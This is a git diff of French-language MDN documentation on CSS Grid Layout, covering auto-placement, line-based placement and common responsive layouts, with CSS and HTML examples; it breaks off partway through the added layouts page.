Les cas d'utilisation pour le placement automatique

- -

Le placement automatique peut être utile lorsqu'on a un ensemble d'objets qui se ressemblent. Ce peut être des éléments qui n'ont pas d'ordre logique particulier : une galerie de photos, une liste de produits. Dans ces cas de figure, on peut choisir d'utiliser une disposition dense afin de combler les trous de la grille. Dans l'exemple qui représente la galerie d'images, on a certaines images en paysage et d'autres en portrait (lorsqu'on utilise la classe landscape l'élément s'étend sur deux colonnes). On utilise ensuite grid-auto-flow: dense afin de créer une grille dense.

- -
-
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
-  grid-gap: 10px;
-  grid-auto-flow: dense;
-  list-style: none;
-  margin: 1em auto;
-  padding: 0;
-  max-width: 800px;
-}
-.wrapper li {
-  border: 1px solid #ccc;
-}
-.wrapper li.landscape {
-  grid-column-end: span 2;
-}
-.wrapper li img {
-  display: block;
-  object-fit: cover;
-  width: 100%;
-  height: 100%;
-}
-
- -
<ul class="wrapper">
-  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
-  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
-  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
-  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
-  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
-  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
-  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
-  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
-  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
-  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
-</ul>
-
- -

{{EmbedLiveSample('placement_9', '500', '1300')}}

-
- -

Le placement automatique peut également aider à disposer des éléments d'interface utilisateur qui ont un ordre logique. Dans l'exemple suivant, on voit comment manipuler les listes de définition. Les listes de définition sont intéressantes car il n'y a pas de niveau de regroupement pour regrouper un terme et ses définitions. Dans cet exemple, on autorise le placement automatique mais on a une classe pour qu'un élément dt démarre sur la première ligne et que l'élément  dd sur la  ligne 2. On s'assure ainsi que les termes sont bien en face de chaque définition, peu importe le nombre de définitions qu'on a pour un terme.

- -
- - -
<div class="wrapper">
-  <dl>
-    <dt>Mammals</dt>
-    <dd>Cat</dd>
-    <dd>Dog</dd>
-    <dd>Mouse</dd>
-    <dt>Fish</dt>
-    <dd>Guppy</dd>
-    <dt>Birds</dt>
-    <dd>Pied Wagtail</dd>
-    <dd>Owl</dd>
-  <dl>
-</div>
-
- -
dl {
-  display: grid;
-  grid-template-columns: auto 1fr;
-  max-width: 300px;
-  margin: 1em;
-  line-height: 1.4;
-}
-dt {
-  grid-column: 1;
-  font-weight: bold;
-}
-dd {
-  grid-column: 2;
-}
-
- -

{{EmbedLiveSample('placement_10', '500', '230')}}

- -
-

Note : Voir cet article de SitePoint à propos de la disposition en briques pour d'autres cas d'utilisation.

-
-
- -

Qu'est-ce que le placement automatique ne permet pas de réaliser (actuellement) ?

- -

Certaines questions se posent encore. Actuellement on ne peut pas cibler toutes les autres cellules de la grille. On ne peut pas non plus définir une règle pour « placer tous les éléments automatiquement après la prochaine ligne intitulée n » (pour que certaines lignes soient sautées). Cette question est décrite sur le dépôt GitHub du CSSWG, n'hésitez pas à ajouter vos exemples de scénarios.

- -

Si vous rencontrez des cas d'utilisation problématiques avec le placement automatique et les grilles, vous pouvez consulter les issues existantes et les compléter ou ajouter les vôtres. Cela permettra que les prochaines versions de la spécification soient meilleures.

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git "a/files/fr/web/css/css_grid_layout/placer_les_\303\251l\303\251ments_sur_les_lignes_d_une_grille_css/index.html" "b/files/fr/web/css/css_grid_layout/placer_les_\303\251l\303\251ments_sur_les_lignes_d_une_grille_css/index.html" deleted file mode 100644 index 5984342f18..0000000000 --- "a/files/fr/web/css/css_grid_layout/placer_les_\303\251l\303\251ments_sur_les_lignes_d_une_grille_css/index.html" +++ /dev/null @@ -1,605 +0,0 @@ ---- -title: Placer les éléments sur les lignes d'une grille CSS -slug: Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guides - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_concepts_de_base", "Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

- -

Dans l'article sur les concepts de base, nous avons vu comment positionner des éléments en utilisant des numéros de lignes. Nous allons désormais étudier cette fonctionnalité de positionnement plus en détail.

- -

Commencer par utiliser les lignes numérotées est plutôt logique car toutes les grilles possèdent des lignes numérotées. Ces lignes forment les colonnes et les lignes horizontales de la grille, elles sont numérotées à partir de 1. On notera aussi que la numérotation des lignes varie selon le mode d'écriture du document. Dans un document écrit de gauche à droite comme le français, la ligne numéro 1 est située à l'extrêmité gauche de la grille. Si l'écriture va de droite à gauche, la ligne numéro 1 sera celle qui est située le plus à droite. Nous explorerons ces notions sur les modes d'écriture dans un prochain guide.

- -

Un exemple simple

- -

Dans cet exemple simple, on a une grille avec trois pistes pour les colonnes et trois pistes pour les lignes, on a donc 4 lignes pour chaque dimension.

- -

Dans le conteneur, on a quatre éléments fils. Si aucune autre règle de placement n'est indiquée, ces éléments seront placés automatiquement et la grille remplira les quatre premières cellules. Si vous utilisez l'outil de mise en évidence des grilles de Firefox, vous pouvez voir les colonnes et les lignes horizontales formées par la grille.

- -

Our Grid highlighted in DevTools

- - - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(3, 100px);
-}
-
- -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -

{{EmbedLiveSample('Un_exemple_simple', '300', '330')}}

- -

Positionner les éléments d'une grille grâce au numéro de ligne

- -

On peut placer les éléments d'une grille en utilisant les numéros de lignes qui définissent la zone allouée à l'élément. Si on souhaite que le premier élément commence tout à gauche et occupe une colonne, qu'il commence sur la première ligne et s'étale sur quatre lignes, on pourra utiliser les règles suivantes :

- -
-
.box1 {
-   grid-column-start: 1;
-   grid-column-end: 2;
-   grid-row-start: 1;
-   grid-row-end: 4;
-}
-
- -

Lorsqu'on positionne des objets sur la grille, les autres continueront d'être placés selon les règles de placement automatique. Nous verrons ces règles dans un prochain guide mais grâce à cet exemple, on peut voir que les cellules vides sont remplies au fur et à mesure par les objets qui ne sont pas placés explicitement.

- -

On peut placer chacun des éléments individuellement et on peut également choisir de laisser certaines cellules vides. Un des avantages de la grille CSS est qu'on peut créer des espaces sans avoir à utiliser des marges ou d'autres méthodes de contournement.

- - - -
<div class="wrapper">
-   <div class="box1">Un</div>
-   <div class="box2">Deux</div>
-   <div class="box3">Trois</div>
-   <div class="box4">Quatre</div>
-</div>
-
- -
.box2 {
-  grid-column-start: 3;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-}
-.box3 {
-  grid-column-start: 2;
-  grid-column-end: 3;
-  grid-row-start: 1;
-  grid-row-end: 2;
-}
-.box4 {
-  grid-column-start: 2;
-  grid-column-end: 4;
-  grid-row-start: 3;
-  grid-row-end: 4;
-}
-
- -

{{EmbedLiveSample('Line_Number', '300', '330')}}

-
- -
-

Les propriétés raccourcies grid-column et grid-row

- -

On a écrit beaucoup de règles pour positionner chaque élément. Heureusement, il existe des propriétés raccourcies qui permettent d'avoir une syntaxe plus concise. Les propriétés {{cssxref("grid-column-start")}} et {{cssxref("grid-column-end")}} peuvent être combinées pour former la propriété raccourcie {{cssxref("grid-column")}} et de la même façon, {{cssxref("grid-row-start")}} et  {{cssxref("grid-row-end")}} peuvent être synthétisées avec {{cssxref("grid-row")}}.

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-column: 1 / 2;
-  grid-row: 1 / 4;
-}
-.box2 {
-  grid-column: 3 / 4;
-  grid-row: 1 / 3;
-}
-.box3 {
-  grid-column: 2 / 3;
-  grid-row: 1 /  2;
-}
-.box4 {
-  grid-column: 2 / 4;
-  grid-row: 3 / 4;
-}
-
- -

{{EmbedLiveSample('Grid_Shorthands', '300', '330')}}

-
- -

La taille par défaut

- -

Dans les exemples précédents, on a défini chaque ligne et colonne de fin pour chaque élément. Mais si en pratique, on souhaite qu'un élément n'occupe qu'une seule piste, on peut omettre grid-column-end ou grid-row-end. Par défaut, les éléments occupent une seule piste. Notre exemple initial, avec les propriétés détaillées peut donc être réécrit de cette façon :

- -
- - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-column-start: 1;
-  grid-row-start: 1;
-  grid-row-end: 4;
-}
-.box2 {
-  grid-column-start: 3;
-  grid-row-start: 1;
-  grid-row-end: 3;
-}
-.box3 {
-  grid-column-start: 2;
-  grid-row-start: 1;
-}
-.box4 {
-  grid-column-start: 2;
-  grid-column-end: 4;
-  grid-row-start: 3;
-}
-
- -

{{EmbedLiveSample('End_Lines', '300', '330')}}

-
- -

Avec les propriétés raccourcies, on obtient le code suivant (sans aucune barre oblique ni seconde valeur pour les éléments qui n'occupent qu'une seule piste).

- -
- - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-column: 1 ;
-  grid-row: 1 / 4;
-}
-.box2 {
-  grid-column: 3 ;
-  grid-row: 1 / 3;
-}
-.box3 {
-  grid-column: 2 ;
-  grid-row: 1 ;
-}
-.box4 {
-  grid-column: 2 / 4;
-  grid-row: 3 ;
-}
-
- -

{{EmbedLiveSample('New_Shorthand', '300', '330')}}

-
- -

La propriété grid-area

- -

On peut aller plus loin et définir une zone pour chaque élément grâce à une seule propriété : {{cssxref("grid-area")}}. Cette propriété raccourcie permet d'utiliser les valeurs des propriétés suivantes (dans cet ordre) :

- -
    -
  • grid-row-start
    • -
  • grid-column-start
    • -
  • grid-row-end
    • -
  • grid-column-end
    • -
- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-area: 1 / 1 / 4 / 2;
-}
-.box2 {
-  grid-area: 1 / 3 / 3 / 4;
-}
-.box3 {
-  grid-area: 1 / 2 / 2 / 3;
-}
-.box4 {
-  grid-area: 3 / 2 / 4 / 4;
-}
-
- -

{{EmbedLiveSample('La_propriété_grid-area', '300', '330')}}

- -

L'ordre des valeurs utilisé pour grid-area peut sembler un peu étrange quand on connaît celui utilisé par les propriétés raccourcies pour les marges (margin) et le remplissage (padding). Cet ordre s'explique car les grilles CSS fonctionnent avec les différents modes d'écriture et on utilise des propriétés et des valeurs logiques plutôt que des propriétés et des valeurs physiques. Nous aborderons ce point dans un prochain article mais il faut retenir ici que l'ordre des valeurs correspond aux directions logiques suivantes :

- -
    -
  • block-start
    • -
  • block-end
    • -
  • inline-start
    • -
  • inline-end
    • -
- -

On travaille ici en anglais ou en français, une langue qui s'écrit de gauche à droite. La ligne physique correspondant à la ligne logique block-start est donc la ligne en haut du conteneur, block-end correspond à la ligne en bas du conteneur, inline-start correspond à la colonne la plus à gauche (le point de départ de l'écriture pour une ligne) et inline-end correspond à la dernière colonne, celle qui est située à l'extrémité droite de la grille.

- -

Lorsqu'on définit une zone d'une grille grâce à la propriété grid-area, on commence par définir les lignes de « début » : block-start et inline-start puis les lignes de « fin » avec block-end et inline-end. Cela peut paraître étrange quand on est habitué à manipuler des propriétés physiques qui progressent dans le sens horaire : haut, droit, bas, gauche mais cet ordre paraît plus pertinent quand on considère que les sites web peuvent être multi-directionnels selon le mode d'écriture.

- -

Compter à rebours

- -

On peut également compter à l'envers, à partir des lignes de fin. Pour un document écrit en français, cela correspond à la colonne la plus à droite et à la ligne la plus basse. Pour faire référence à la dernière ligne, on peut utiliser la valeur -1 et on peut compter à rebours au fur et à mesure de cette façon (ainsi, -2 fait référence à l'avant-dernière ligne). Attention, ici, la dernière ligne correspond à la dernière ligne explicite de la grille, telle qu'elle est définie par grid-template-columns et grid-template-rows. Ce comptage ne prend pas en compte les lignes ou les colonnes qui sont ajoutées implicitement dans la grille.

- -

Dans le prochain exemple, on renverse la disposition de la grille en travaillant à partir du bas et de la droite.

- - - -
<div class="wrapper">
-   <div class="box1">Un</div>
-   <div class="box2">Deux</div>
-   <div class="box3">Trois</div>
-   <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-column-start: -1;
-  grid-column-end: -2;
-  grid-row-start: -1;
-  grid-row-end: -4;
-}
-.box2 {
-  grid-column-start: -3;
-  grid-column-end: -4;
-  grid-row-start: -1;
-  grid-row-end: -3;
-}
-.box3 {
-  grid-column-start: -2;
-  grid-column-end: -3;
-  grid-row-start: -1;
-  grid-row-end: -2;
-}
-.box4 {
-  grid-column-start: -2;
-  grid-column-end: -4;
-  grid-row-start: -3;
-  grid-row-end: -4;
-}
-
- -

{{EmbedLiveSample('Compter_à_rebours', '300', '330')}}

- -

Étirer un élément sur la grille

- -

Étant donné qu'on peut utiliser les numéros de lignes pour la première et la dernière, on peut facilement étirer un élément pour que celui-ci occupe toute la largeur et/ou toute la hauteur de la grille avec :

- -
.item {
-  grid-column: 1 / -1;
-}
-
- -

Les gouttières

- -

La spécification pour les grilles CSS permet également d'ajouter des espaces (« gouttières ») entre les colonnes et entre les lignes grâce aux propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}}. Celles-ci permettent de définir un espace, de la même façon que la propriété {{cssxref("column-gap")}} permet d'obtenir un espace pour un mode de disposition avec plusieurs colonnes.

- -
-

Note : Les anciens navigateurs utilisent {{cssxref("column-gap")}}, {{cssxref("row-gap")}}, {{cssxref("gap")}} avec le préfixe grid- soit : {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} et {{cssxref("grid-gap")}}.

- -

Les navigateurs actuels retirent progressivement ce préfixe (la version préfixée sera maintenue sous forme d'alias). À l'heure actuelle, certains navigateurs ne prennent pas encore la version sans préfixe et c'est pourquoi certains exemples de ce guide continuent d'utiliser les versions préfixées avec grid-.

-
- -

Les gouttières apparaissent uniquement entre les pistes de la grille, elles n'ajoutent pas d'espace en haut, en bas, à gauche ou à droite du conteneur. Voyons comment ajouter des espaces sur l'exemple précédent grâce à ces propriétés :

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-column: 1 ;
-  grid-row: 1 / 4;
-}
-.box2 {
-  grid-column: 3 ;
-  grid-row: 1 / 3;
-}
-.box3 {
-  grid-column: 2 ;
-  grid-row: 1 ;
-}
-.box4 {
-  grid-column: 2 / 4;
-  grid-row: 3 ;
-}
-.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(3, 100px);
-  grid-column-gap: 20px;
-  grid-row-gap: 1em;
-}
-
- -

{{EmbedLiveSample('Les_gouttières', '300', '350') }}

- -

Les propriétés raccourcies pour les gouttières

- -

Les deux propriétés que nous venons de voir peuvent être synthétisées grâce à la propriété raccourcie {{cssxref("grid-gap")}}. Si on fournit une seule valeur, celle-ci s'appliquera pour les espaces entre les colonnes et entre les lignes. Avec deux valeurs, la première sera utilisée pour grid-row-gap et la seconde pour grid-column-gap.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(3, 100px);
-  grid-gap: 1em 20px;
-}
-
- -

Par rapport au positionnement sur les lignes, les gouttières agissent comme si la ligne avait gagné en largeur ou en hauteur. Tout ce qui commence sur une ligne commencera après cet espace et on ne peut placer aucun élément dans cette gouttière. Aussi, si on veut qu'une gouttière agisse comme une piste classique dans laquelle on peut placer des objets, il suffira de définir une nouvelle piste plutôt qu'une gouttière.

- -

Utiliser le mot-clé span

- -

On a vu comment indiquer la ligne de début et la ligne de fin avec des numéros. Il est aussi possible de définir la taille d'un élément en indiquant le numéro de la ligne de départ et le nombre de pistes sur lequel s'étale l'élément.

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.box1 {
-  grid-column: 1;
-  grid-row: 1 / span 3;
-}
-.box2 {
-  grid-column: 3;
-  grid-row: 1 / span 2;
-}
-.box3 {
-  grid-column: 2;
-  grid-row: 1;
-}
-.box4 {
-  grid-column: 2 / span 2;
-  grid-row: 3;
-}
-
- -

{{EmbedLiveSample('Utiliser_le_mot-clé_span', '300', '330')}}

- -

Le mot-clé span peut également être utilisé dans les valeurs des propriétés grid-row-start/grid-row-end et grid-column-start/grid-column-end. Les deux fragments de code qui suivent créeront la même zone. Dans le premier, on indique la ligne de début puis la ligne de fin en indiquant que l'élément occupe trois lignes. La zone commencera donc sur la première ligne et occupera 3 lignes, jusqu'à la ligne 4.

- -
.box1 {
-  grid-column-start: 1;
-  grid-row-start: 1;
-  grid-row-end: span 3;
-}
-
- -

Dans le deuxième exemple, on indique la ligne de fin et le nombre de lignes occupées par l'élément avec span 3. Cela signifie que l'élément partira de la ligne 4 et occupera 3 lignes jusqu'à la ligne 1.

- -
.box1 {
-  grid-column-start: 1;
-  grid-row-start: span 3;
-  grid-row-end: 4;
-}
-
- -

Pour vous familiariser avec le positionnement des éléments d'une grille en utilisant les lignes, vous pouvez essayer de construire certaines dispositions fréquemment utilisées en plaçant des éléments sur des grilles avec plus ou moins de pistes. Il faut garder à l'esprit que, lorsqu'on ne place pas explicitement tous les éléments, les éléments restants seront positionnés automatiquement. Cela peut tout à fait être l'objectif recherché mais si ce n'est pas le cas et que vous voyez un élément à un endroit inapproprié, vérifiez que vous lui avez affecté une position au sein de la grille.

- -

Il faut aussi se rappeler que lorsqu'on place les éléments explicitement sur la grille, ceux-ci peuvent se chevaucher. Cela permet d'obtenir certains effets mais attention aux erreurs lorsque c'est la mauvaise ligne de début ou de fin qui est indiquée. Pour régler ce problème, on peut utiliser l'outil de mise en évidence de la grille CSS dans Firefox pour analyser une grille compliquée.

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_concepts_de_base", "Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/fr/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html new file mode 100644 index 0000000000..44e85dda1f --- /dev/null +++ b/files/fr/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -0,0 +1,560 @@ +--- +title: Construire des dispositions courantes avec des grilles CSS +slug: >- + Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","","Web/CSS/CSS_Grid_Layout")}}

+ +

Pour clôturer ces différents guides, nous allons maintenant voir différentes dispositions sur lesquelles nous appliquerons des techniques avec les grilles CSS. Nous prendrons un exemple qui utilise les zones nommées d'une grille, un système de grille flexible avec 12 colonnes et aussi une liste de produits avec un placement automatique. Comme nous le verrons, il existe plusieurs méthodes pour accéder à chaque résultat. À vous de choisir la méthode qui vous paraît la plus pertinente et utile pour les problèmes que vous avez à résoudre et les dispositions que vous devez implémenter.

+ +

Une disposition adaptative avec une à trois colonnes en utilisant grid-template-areas

+ +

De nombreux sites web sont construits comme une variation autour de cette disposition avec du contenu, une ou plusieurs barres latérale, un en-tête et un pied de page. Pour que le site soit responsive, on peut souhaiter avoir une seule colonne pour certaines tailles d'affichage, ajouter une barre latérale lorsqu'on a plus d'espace et enfin, avoir trois colonnes pour les écrans les plus larges.

+ +

Image of the three different layouts created by redefining our grid at two breakpoints.

+ +

Ici, on crée une disposition avec des zones nommées comme on a pu le voir dans l'article correspondant.

+ +

Dans le document on a un conteneur qui contient un en-tête, un pied de page, du contenu principal, une barre de navigation, une barre latérale et un bloc dans lequel on souhaite placer de la publicité.

+ +
+ + +
<div class="wrapper">
+  <header class="main-head">L'en-tête</header>
+  <nav class="main-nav">
+    <ul>
+      <li><a href="">Nav 1</a></li>
+      <li><a href="">Nav 2</a></li>
+      <li><a href="">Nav 3</a></li>
+    </ul>
+  </nav>
+  <article class="content">
+    <h1>L'article principal</h1>
+    <p>
+       Dans cette disposition, on affiche les zones dans le même
+       ordre que dans le document pour les écrans dont la largeur
+       est inférieure à 500 pixels. On passe à une disposition sur
+       deux colonnes ou trois colonnes en redéfinissant la grille
+       et le placement des objets sur la grille.
+    </p>
+  </article>
+  <aside class="side">Barre latérale</aside>
+  <div class="ad">Publicité</div>
+  <footer class="main-footer">Le pied de page</footer>
+</div>
+
+ +

On utilise {{cssxref("grid-template-areas")}} afin de créer la disposition. On nomme les zones en dehors des différentes media queries. Les propriétés sont nommées grâce à la propriété {{cssxref("grid-area")}}.

+ +
.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+
+ +

Avec ces différentes règles, on n'a pas encore de disposition, uniquement des noms qu'on pourra utiliser. Ensuite, on définit la disposition qu'on aura par défaut et qui sera utilisée pour les mobiles. Dans cette règle, on garde le même ordre que celui utilisé dans le document (cf. le guide sur les grilles CSS et l'accessibilité). On ne définit aucune piste (colonne ou ligne) mais cela suffit pour décrire une disposition sur une seule colonne, les lignes seront créées implicitement lorsqu'elles seront nécessaires.

+ +
.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+
+ +

Après cette disposition par défaut pour les appareils mobiles, on peut ajouter une requête média (media query) et redéfinir la disposition lorsqu'on a plus d'espace et qu'on peut afficher deux colonnes :

+ +
@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

On peut voir la disposition organisée dans la valeur pour la propriété {{cssxref("grid-template-areas")}}. L'en-tête header s'étale sur deux colonnes et le bloc nav également. Sur la troisième ligne, on a la barre latérale (sidebar) à côté du contenu (content). Sur la quatrième ligne, on a le bloc pour la publicité (ad) qui apparaît sous la barre latérale et enfin le pied de page qui apparaît sous le contenu. On utilise une boîte flexible pour la barre de navigation afin de l'étaler sur une ligne homogène.

+ +

Enfin, on ajoute une autre requête de média pour la disposition avec trois colonnes :

+ +
@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+
+ +

Cette disposition en trois colonnes possède une première colonne qui s'étend sur 1fr, une colonne centrale qui s'étend sur 4fr et une dernière colonne qui mesure également 1fr. Cela signifie que l'espace disponible dans le conteneur est découpé en 6 et que chacun de ces morceaux est affecté à une de ces pistes.

+ +

Dans cette disposition, la barre de navigation est affichée dans la colonne à gauche, à côté du contenu. Sur la colonne à droite, on a la barre latérale au-dessus de la publicité. Le pied de page, quant à lui, s'étale sur tout le bas du conteneur. Ici aussi, on utilise une boîte flexible en colonne pour la barre de navigation.

+ +

{{EmbedLiveSample('layout_1', '800', '430')}}

+
+ +

Cet exemple est assez simple mais permet d'illustrer comme utiliser une grille afin de réorganiser le contenu pour différentes tailles d'écran. On voit par exemple comment on déplace le bloc ad dans les différentes organisations. L'utilisation des noms pour les zones permet de prototyper rapidement de nouvelles dispositions. Vous pouvez toujours utiliser la grille pour agencer votre prototype même si ce n'est pas la technologie que vous utiliserez pour votre site ou votre application en production.

+ +

Une disposition flexible avec 12 colonnes

+ +

Si vous travaillez avec un framework ou avec un système de grille, vous êtes peut-être habitué-e à travailler sur une grille avec 12 ou 16 colonnes. On peut recréer ce genre de système avec une grille CSS. Pour commencer, on crée une grille avec 12 colonnes dont chaque piste mesure 1fr-unit et commence par une ligne intitulée col-start. Autrement dit, on aura 12 colonnes intitulées col-start.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

Pour voir comment ce système fonctionne, on place quatre éléments dans le conteneur :

+ +
<div class="wrapper">
+  <div class="item1">Début à la première colonne, s'étend sur 3 colonnes.</div>
+  <div class="item2">Début à la colonne 6, s'étend sur 4 colonnes et deux lignes.</div>
+  <div class="item3">Début à la colonne 2 de la ligne 2, s'étend sur 2 colonnes.</div>
+  <div class="item4">Début à la colonne 3, s'étend jusqu'à la fin de la grille.</div>
+</div>
+
+ +

Et on place ces éléments sur la grille en utilisant les noms utilisés précédemment, avec le mot-clé span :

+ +
.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+
+ +

{{EmbedLiveSample('layout_2', '800', '330')}}

+
+ +

Comme nous l'avons vu dans le guide sur le nommage des lignes, on utilise les noms des colonnes pour placer nos éléments. On a ici 12 colonnes avec le même nom, on utilise donc ce nom et l'indice qui indique le numéro. On pourrait tout aussi bien utiliser seulement le numéro si on voulait se passer des noms pour les lignes.

+ +

Plutôt que d'indiquer le numéro de la dernière colonne pour chaque élément, on a ici utilisé le mot-clé span pour indiquer la taille de chaque élément. Cette approche permet de revoir plus clairement la taille de chaque élément lorsqu'on ajoute une nouvelle disposition pour une nouvelle taille d'écran. Dans la capture qui suit, on peut voir comment les blocs sont positionnés sur la grilles. Pour cela, on a utilisé l'inspecteur de grille de Firefox qui indique de façon claire comment les objets sont placés.

+ +

Showing the items placed on the grid with grid tracks highlighted.

+ +

Il y a certainement certaines différences fondamentales avec les systèmes que vous auriez pu utiliser précédemment. On voit par exemple qu'il n'est pas nécessaire d'ajouter de règles supplémentaires pour créer une ligne. Généralement, il faut ajouter des contrôles pour éviter que les éléments remontent sur les lignes au-dessus. Avec une grille CSS, ce n'est pas un problème, les lignes supérieures sont laissées vides. La disposition étant stricte, on peut très bien laisser des espaces dans notre plan. Il n'est pas non plus nécessaire de définir des classes spécifiques afin d'indenter les différents objets, il suffit ici d'indiquer la colonne de début et la colonne de fin.

+ +

Construire une disposition avec ce système à 12 colonnes

+ +

Pour voir comment cette méthode fonctionne en pratique, nous allons créé le même plan que celui que nous avons vu avec les zones nommées et {{cssxref("grid-template-areas")}} mais en utilisant désormais ce système à 12 colonnes. Commençons avec la même structure que celle utilisée plus haut avec les zones nommées :

+ +
+ + +
<div class="wrapper">
+  <header class="main-head">L'en-tête</header>
+  <nav class="main-nav">
+    <ul>
+      <li><a href="">Nav 1</a></li>
+      <li><a href="">Nav 2</a></li>
+      <li><a href="">Nav 3</a></li>
+    </ul>
+  </nav>
+  <article class="content">
+    <h1>L'article principal</h1>
+    <p>
+       Dans cette disposition, on affiche les zones dans le même
+       ordre que dans le document pour les écrans dont la largeur
+       est inférieure à 500 pixels. On passe à une disposition sur
+       deux colonnes ou trois colonnes en redéfinissant la grille
+       et le placement des objets sur la grille.
+    </p>
+  </article>
+  <aside class="side">Barre latérale</aside>
+  <div class="ad">Publicité</div>
+  <footer class="main-footer">Le pied de page</footer>
+</div>
+
+ +

On initialise la grille avec nos 12 colonnes :

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

Là encore, nous allons adapter la disposition en fonction de la taille de la zone d'affichage mais ici, nous utiliserons les colonnes nommées. Pour chaque type d'affichage, nous allons utiliser 12 colonnes et faire varier le nombre de pistes sur lequel s'étalent les objets à afficher.

+ +

Commençons par le mobile : on souhaite gérer les écrans les plus étroits par défaut. Ici aussi, on respecte l'ordre des éléments indiqués par le code source du document et tous les objets s'étalent tout au long de la grille.

+ +
.wrapper > * {
+  grid-column: col-start / span 12;
+}
+
+ +

Pour la prochaine taille, on veut obtenir une disposition sur deux colonnes. Ici, l'en-tête et la barre de navigation occuperont toute une ligne horizontale, il n'est donc pas nécessaire d'indiquer de positionnement pour eux. La barre latérale commence sur la première colonne intitulée col-start et s'étend sur 3 colonnes et commence à partir de la troisième ligne (les deux premières étant occupées par l'en-tête et la barre de navigation).

+ +

